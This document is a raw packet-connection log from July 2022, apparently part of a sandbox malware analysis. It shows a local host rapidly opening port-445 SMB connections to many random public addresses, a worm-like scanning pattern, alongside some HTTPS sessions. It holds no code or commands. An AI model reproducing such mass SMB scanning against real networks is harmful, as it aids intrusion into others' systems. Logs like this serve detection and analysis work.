Jul 20, 2022 19:32:53.775161982 CEST	445	55308	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:53.803606033 CEST	445	55309	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:53.803817034 CEST	55309	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.804017067 CEST	55309	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:53.841634989 CEST	55313	445	192.168.2.7	222.163.157.46
Jul 20, 2022 19:32:53.847086906 CEST	55317	445	192.168.2.7	88.217.209.208
Jul 20, 2022 19:32:53.847632885 CEST	55318	445	192.168.2.7	154.60.124.188
Jul 20, 2022 19:32:53.848198891 CEST	55319	445	192.168.2.7	37.211.186.52
Jul 20, 2022 19:32:53.849688053 CEST	55322	445	192.168.2.7	143.31.56.98
Jul 20, 2022 19:32:53.850244999 CEST	55323	445	192.168.2.7	158.35.48.97
Jul 20, 2022 19:32:53.865597010 CEST	445	55309	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:53.886029959 CEST	55328	445	192.168.2.7	157.225.235.58
Jul 20, 2022 19:32:53.886703968 CEST	55329	445	192.168.2.7	219.218.174.98
Jul 20, 2022 19:32:53.887357950 CEST	55330	445	192.168.2.7	134.19.200.242
Jul 20, 2022 19:32:53.890588045 CEST	55332	445	192.168.2.7	94.135.247.199
Jul 20, 2022 19:32:53.891119957 CEST	55333	445	192.168.2.7	77.239.145.38
Jul 20, 2022 19:32:53.895550013 CEST	55336	445	192.168.2.7	210.152.135.37
Jul 20, 2022 19:32:53.895962954 CEST	55337	445	192.168.2.7	80.10.20.89
Jul 20, 2022 19:32:53.896114111 CEST	55338	445	192.168.2.7	85.105.149.39
Jul 20, 2022 19:32:53.896130085 CEST	55340	445	192.168.2.7	51.106.120.115
Jul 20, 2022 19:32:53.896250963 CEST	55342	445	192.168.2.7	142.201.113.31
Jul 20, 2022 19:32:53.920660973 CEST	55345	445	192.168.2.7	17.195.166.157
Jul 20, 2022 19:32:53.925465107 CEST	55352	445	192.168.2.7	208.75.34.123
Jul 20, 2022 19:32:53.925678015 CEST	55356	445	192.168.2.7	83.124.96.25
Jul 20, 2022 19:32:54.032543898 CEST	445	55352	208.75.34.123	192.168.2.7
Jul 20, 2022 19:32:54.061022997 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.082282066 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.082453966 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.082726002 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.091664076 CEST	55359	445	192.168.2.7	51.158.189.65
Jul 20, 2022 19:32:54.092840910 CEST	55360	445	192.168.2.7	131.153.221.56
Jul 20, 2022 19:32:54.104120016 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.104142904 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.104157925 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.104310036 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.104408026 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.104696989 CEST	55358	445	192.168.2.7	45.60.207.8
Jul 20, 2022 19:32:54.125905037 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.126208067 CEST	445	55358	45.60.207.8	192.168.2.7
Jul 20, 2022 19:32:54.149607897 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.149645090 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.149733067 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.151484966 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.151498079 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.169820070 CEST	55362	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.186321974 CEST	445	55362	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.186429977 CEST	55362	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.186731100 CEST	55362	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.203150988 CEST	445	55362	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.203260899 CEST	55362	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.208681107 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.225193977 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.225404978 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.225588083 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.241888046 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.241915941 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.241957903 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.242042065 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.252283096 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.253916025 CEST	55363	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:54.268865108 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.274138927 CEST	445	55363	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:54.284117937 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.284257889 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.550431967 CEST	55352	445	192.168.2.7	208.75.34.123
Jul 20, 2022 19:32:54.581561089 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.581585884 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.583554983 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.583559990 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.583683014 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.583688021 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.596908092 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.596937895 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.597039938 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.597435951 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.597445011 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.652895927 CEST	445	55352	208.75.34.123	192.168.2.7
Jul 20, 2022 19:32:54.675903082 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.676000118 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.676078081 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.676104069 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.685904026 CEST	55368	445	192.168.2.7	121.3.139.13
Jul 20, 2022 19:32:54.703686953 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.703727961 CEST	443	55361	20.82.209.183	192.168.2.7
Jul 20, 2022 19:32:54.703808069 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.703835011 CEST	55361	443	192.168.2.7	20.82.209.183
Jul 20, 2022 19:32:54.731945992 CEST	55369	445	192.168.2.7	51.7.178.231
Jul 20, 2022 19:32:54.734803915 CEST	55375	445	192.168.2.7	183.17.5.81
Jul 20, 2022 19:32:54.761756897 CEST	55376	445	192.168.2.7	121.1.144.189
Jul 20, 2022 19:32:54.762316942 CEST	55379	445	192.168.2.7	39.27.28.190
Jul 20, 2022 19:32:54.762538910 CEST	55385	445	192.168.2.7	4.52.56.193
Jul 20, 2022 19:32:54.762928009 CEST	55387	445	192.168.2.7	147.75.99.127
Jul 20, 2022 19:32:54.763138056 CEST	55388	445	192.168.2.7	105.163.132.238
Jul 20, 2022 19:32:54.763390064 CEST	55390	445	192.168.2.7	88.178.191.144
Jul 20, 2022 19:32:54.924880028 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.924966097 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.926877975 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.926897049 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.927177906 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.928409100 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:54.972491026 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:54.998245001 CEST	55394	445	192.168.2.7	72.222.203.129
Jul 20, 2022 19:32:55.003068924 CEST	55398	445	192.168.2.7	125.83.187.111
Jul 20, 2022 19:32:55.003209114 CEST	55399	445	192.168.2.7	138.219.219.133
Jul 20, 2022 19:32:55.003319025 CEST	55400	445	192.168.2.7	206.190.149.94
Jul 20, 2022 19:32:55.003539085 CEST	55403	445	192.168.2.7	50.81.1.128
Jul 20, 2022 19:32:55.003648996 CEST	55404	445	192.168.2.7	209.224.174.143
Jul 20, 2022 19:32:55.004836082 CEST	55409	445	192.168.2.7	216.145.205.89
Jul 20, 2022 19:32:55.004956961 CEST	55410	445	192.168.2.7	148.189.155.133
Jul 20, 2022 19:32:55.013354063 CEST	55411	445	192.168.2.7	114.63.140.221
Jul 20, 2022 19:32:55.014375925 CEST	55413	445	192.168.2.7	15.131.21.51
Jul 20, 2022 19:32:55.015130043 CEST	55414	445	192.168.2.7	67.55.96.229
Jul 20, 2022 19:32:55.016611099 CEST	55417	445	192.168.2.7	165.251.188.236
Jul 20, 2022 19:32:55.019294024 CEST	55418	445	192.168.2.7	63.107.254.110
Jul 20, 2022 19:32:55.020281076 CEST	55419	445	192.168.2.7	52.67.208.13
Jul 20, 2022 19:32:55.020426035 CEST	55421	445	192.168.2.7	196.104.46.215
Jul 20, 2022 19:32:55.020592928 CEST	55424	445	192.168.2.7	103.13.98.207
Jul 20, 2022 19:32:55.047427893 CEST	55426	445	192.168.2.7	72.41.4.198
Jul 20, 2022 19:32:55.052062035 CEST	55430	445	192.168.2.7	20.100.126.190
Jul 20, 2022 19:32:55.055318117 CEST	55436	445	192.168.2.7	97.95.97.8
Jul 20, 2022 19:32:55.142472029 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142498970 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142518044 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142595053 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:55.142608881 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142621040 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142683029 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.142688990 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:55.142744064 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:55.146892071 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:55.146914959 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.146955967 CEST	55367	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:32:55.146961927 CEST	443	55367	52.242.101.226	192.168.2.7
Jul 20, 2022 19:32:55.170387030 CEST	55439	445	192.168.2.7	51.158.189.66
Jul 20, 2022 19:32:55.170927048 CEST	55440	445	192.168.2.7	131.153.221.57
Jul 20, 2022 19:32:55.363915920 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.363967896 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.364046097 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.364520073 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.364543915 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.774236917 CEST	55446	445	192.168.2.7	121.3.139.14
Jul 20, 2022 19:32:55.782349110 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.782394886 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:55.782478094 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.783201933 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.783212900 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:55.857002974 CEST	55448	445	192.168.2.7	44.30.242.205
Jul 20, 2022 19:32:55.870732069 CEST	55454	445	192.168.2.7	194.225.142.73
Jul 20, 2022 19:32:55.871530056 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.871619940 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.874203920 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.874217987 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.874453068 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.877711058 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:55.890036106 CEST	55455	445	192.168.2.7	126.13.56.115
Jul 20, 2022 19:32:55.899568081 CEST	55458	445	192.168.2.7	192.113.162.40
Jul 20, 2022 19:32:55.899915934 CEST	55464	445	192.168.2.7	88.31.84.240
Jul 20, 2022 19:32:55.899981976 CEST	55466	445	192.168.2.7	221.121.100.104
Jul 20, 2022 19:32:55.900115967 CEST	55467	445	192.168.2.7	63.250.41.142
Jul 20, 2022 19:32:55.900295019 CEST	55469	445	192.168.2.7	11.62.171.171
Jul 20, 2022 19:32:55.920499086 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:55.925235987 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:55.925384998 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.926704884 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.926718950 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:55.929805040 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:55.929820061 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.026783943 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.026889086 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.027041912 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.027148008 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.027159929 CEST	443	55447	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.027194977 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.027218103 CEST	55447	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.034164906 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.034216881 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.034358978 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.034975052 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.034991980 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.131108046 CEST	55474	445	192.168.2.7	129.158.172.30
Jul 20, 2022 19:32:56.139977932 CEST	55477	445	192.168.2.7	190.83.245.131
Jul 20, 2022 19:32:56.140081882 CEST	55479	445	192.168.2.7	162.113.96.44
Jul 20, 2022 19:32:56.140185118 CEST	55480	445	192.168.2.7	69.59.242.87
Jul 20, 2022 19:32:56.140269995 CEST	55483	445	192.168.2.7	108.13.17.194
Jul 20, 2022 19:32:56.140377998 CEST	55485	445	192.168.2.7	89.119.133.32
Jul 20, 2022 19:32:56.141288996 CEST	55489	445	192.168.2.7	85.40.141.125
Jul 20, 2022 19:32:56.141434908 CEST	55490	445	192.168.2.7	203.143.195.144
Jul 20, 2022 19:32:56.158704996 CEST	55491	445	192.168.2.7	199.239.234.239
Jul 20, 2022 19:32:56.158807993 CEST	55493	445	192.168.2.7	155.158.161.249
Jul 20, 2022 19:32:56.158879995 CEST	55494	445	192.168.2.7	27.137.41.205
Jul 20, 2022 19:32:56.159008026 CEST	55497	445	192.168.2.7	7.99.51.106
Jul 20, 2022 19:32:56.159058094 CEST	55498	445	192.168.2.7	74.235.205.252
Jul 20, 2022 19:32:56.159162998 CEST	55500	445	192.168.2.7	119.92.90.152
Jul 20, 2022 19:32:56.159190893 CEST	55499	445	192.168.2.7	222.226.214.87
Jul 20, 2022 19:32:56.159349918 CEST	55504	445	192.168.2.7	137.105.176.232
Jul 20, 2022 19:32:56.173547983 CEST	55511	445	192.168.2.7	182.118.3.152
Jul 20, 2022 19:32:56.175582886 CEST	55514	445	192.168.2.7	34.193.90.226
Jul 20, 2022 19:32:56.177503109 CEST	55517	445	192.168.2.7	197.127.168.210
Jul 20, 2022 19:32:56.181008101 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.181354046 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.183083057 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.183090925 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.203443050 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.203464985 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.213227034 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213259935 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213299036 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213423967 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.213438988 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213458061 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.213490963 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.213542938 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213562012 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213597059 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213607073 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.213614941 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.213649035 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.213680983 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.214545012 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.233128071 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.233153105 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.233163118 CEST	55441	443	192.168.2.7	40.125.122.176
Jul 20, 2022 19:32:56.233169079 CEST	443	55441	40.125.122.176	192.168.2.7
Jul 20, 2022 19:32:56.247673988 CEST	55518	445	192.168.2.7	51.158.189.67
Jul 20, 2022 19:32:56.248167038 CEST	55519	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.289609909 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.289695978 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.289738894 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.289757967 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.305414915 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.305438995 CEST	443	55471	20.238.103.94	192.168.2.7
Jul 20, 2022 19:32:56.305452108 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.305505037 CEST	55471	443	192.168.2.7	20.238.103.94
Jul 20, 2022 19:32:56.415638924 CEST	445	55519	131.153.221.58	192.168.2.7
Jul 20, 2022 19:32:56.415755987 CEST	55519	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.415921926 CEST	55519	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.418978930 CEST	55521	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.579570055 CEST	445	55521	131.153.221.58	192.168.2.7
Jul 20, 2022 19:32:56.579684973 CEST	55521	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.580010891 CEST	55521	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:56.583152056 CEST	445	55519	131.153.221.58	192.168.2.7
Jul 20, 2022 19:32:56.583168030 CEST	445	55519	131.153.221.58	192.168.2.7
Jul 20, 2022 19:32:56.740767956 CEST	445	55521	131.153.221.58	192.168.2.7
Jul 20, 2022 19:32:57.089700937 CEST	55527	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:57.090280056 CEST	55528	445	192.168.2.7	121.3.139.15
Jul 20, 2022 19:32:57.113379002 CEST	55531	445	192.168.2.7	24.131.40.155
Jul 20, 2022 19:32:57.123384953 CEST	55533	445	192.168.2.7	209.211.157.164
Jul 20, 2022 19:32:57.123878002 CEST	55534	445	192.168.2.7	47.103.219.247
Jul 20, 2022 19:32:57.145982027 CEST	445	55527	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:57.146611929 CEST	55527	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:57.197503090 CEST	55527	445	192.168.2.7	213.142.151.87
Jul 20, 2022 19:32:57.200882912 CEST	55538	445	192.168.2.7	80.66.226.249
Jul 20, 2022 19:32:57.203732967 CEST	55543	445	192.168.2.7	119.250.222.251
Jul 20, 2022 19:32:57.206022978 CEST	55548	445	192.168.2.7	222.10.41.194
Jul 20, 2022 19:32:57.206531048 CEST	55549	445	192.168.2.7	99.208.116.52
Jul 20, 2022 19:32:57.207462072 CEST	55551	445	192.168.2.7	214.111.212.137
Jul 20, 2022 19:32:57.253629923 CEST	445	55527	213.142.151.87	192.168.2.7
Jul 20, 2022 19:32:57.330924034 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.334305048 CEST	55560	445	192.168.2.7	134.86.14.246
Jul 20, 2022 19:32:57.335699081 CEST	55563	445	192.168.2.7	118.89.121.64
Jul 20, 2022 19:32:57.337093115 CEST	55566	445	192.168.2.7	126.68.107.127
Jul 20, 2022 19:32:57.337583065 CEST	55567	445	192.168.2.7	215.45.127.213
Jul 20, 2022 19:32:57.339823008 CEST	55572	445	192.168.2.7	73.131.197.138
Jul 20, 2022 19:32:57.340353012 CEST	55573	445	192.168.2.7	122.242.138.98
Jul 20, 2022 19:32:57.343540907 CEST	55574	445	192.168.2.7	123.200.240.191
Jul 20, 2022 19:32:57.344341993 CEST	55575	445	192.168.2.7	216.121.241.163
Jul 20, 2022 19:32:57.345658064 CEST	55577	445	192.168.2.7	30.34.202.98
Jul 20, 2022 19:32:57.347074986 CEST	55579	445	192.168.2.7	9.175.50.150
Jul 20, 2022 19:32:57.347763062 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.347852945 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.348001957 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.348908901 CEST	55581	445	192.168.2.7	113.244.209.92
Jul 20, 2022 19:32:57.349719048 CEST	55582	445	192.168.2.7	159.101.95.179
Jul 20, 2022 19:32:57.352674961 CEST	55586	445	192.168.2.7	135.40.202.41
Jul 20, 2022 19:32:57.354160070 CEST	55588	445	192.168.2.7	80.245.80.2
Jul 20, 2022 19:32:57.364526987 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.364557981 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.364574909 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.364630938 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.365824938 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.368756056 CEST	55554	445	192.168.2.7	45.60.207.9
Jul 20, 2022 19:32:57.370611906 CEST	55592	445	192.168.2.7	82.149.56.99
Jul 20, 2022 19:32:57.370701075 CEST	55593	445	192.168.2.7	56.18.65.2
Jul 20, 2022 19:32:57.370829105 CEST	55597	445	192.168.2.7	158.243.95.159
Jul 20, 2022 19:32:57.370893955 CEST	55598	445	192.168.2.7	139.215.243.219
Jul 20, 2022 19:32:57.370968103 CEST	55599	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.382251978 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.385209084 CEST	445	55554	45.60.207.9	192.168.2.7
Jul 20, 2022 19:32:57.428610086 CEST	445	55599	213.142.151.88	192.168.2.7
Jul 20, 2022 19:32:57.430646896 CEST	55599	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.452512980 CEST	55599	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.453382015 CEST	55600	445	192.168.2.7	51.158.189.68
Jul 20, 2022 19:32:57.480426073 CEST	55602	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.480614901 CEST	55603	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.497104883 CEST	445	55602	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.497883081 CEST	55602	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.510040045 CEST	445	55599	213.142.151.88	192.168.2.7
Jul 20, 2022 19:32:57.510068893 CEST	445	55599	213.142.151.88	192.168.2.7
Jul 20, 2022 19:32:57.532171965 CEST	445	55603	213.142.151.88	192.168.2.7
Jul 20, 2022 19:32:57.534671068 CEST	55603	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.563210964 CEST	55602	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.563797951 CEST	55603	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:32:57.579968929 CEST	445	55602	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.580077887 CEST	55602	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.615407944 CEST	445	55603	213.142.151.88	192.168.2.7
Jul 20, 2022 19:32:57.669038057 CEST	445	55574	123.200.240.191	192.168.2.7
Jul 20, 2022 19:32:57.685908079 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.702652931 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.703049898 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.703963995 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.720379114 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.720407963 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.720422983 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.720607042 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.788893938 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.789210081 CEST	55607	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:32:57.806915998 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:57.806941986 CEST	445	55607	45.60.207.10	192.168.2.7
Jul 20, 2022 19:32:58.184772015 CEST	55574	445	192.168.2.7	123.200.240.191
Jul 20, 2022 19:32:58.510929108 CEST	445	55574	123.200.240.191	192.168.2.7
Jul 20, 2022 19:32:58.920423985 CEST	55608	445	192.168.2.7	121.3.139.16
Jul 20, 2022 19:32:58.937381983 CEST	55609	445	192.168.2.7	51.158.189.69
Jul 20, 2022 19:32:58.962141037 CEST	445	55609	51.158.189.69	192.168.2.7
Jul 20, 2022 19:32:59.027730942 CEST	55610	445	192.168.2.7	81.172.214.106
Jul 20, 2022 19:32:59.028732061 CEST	55611	445	192.168.2.7	98.177.167.4
Jul 20, 2022 19:32:59.030318022 CEST	55613	445	192.168.2.7	106.37.115.54
Jul 20, 2022 19:32:59.033574104 CEST	55618	445	192.168.2.7	16.124.129.46
Jul 20, 2022 19:32:59.034321070 CEST	55619	445	192.168.2.7	169.64.29.254
Jul 20, 2022 19:32:59.040354967 CEST	55628	445	192.168.2.7	138.145.230.103
Jul 20, 2022 19:32:59.041066885 CEST	55629	445	192.168.2.7	171.133.148.232
Jul 20, 2022 19:32:59.043581963 CEST	55633	445	192.168.2.7	200.180.248.188
Jul 20, 2022 19:32:59.044795990 CEST	55634	445	192.168.2.7	222.73.195.124
Jul 20, 2022 19:32:59.045536995 CEST	55635	445	192.168.2.7	66.241.154.101
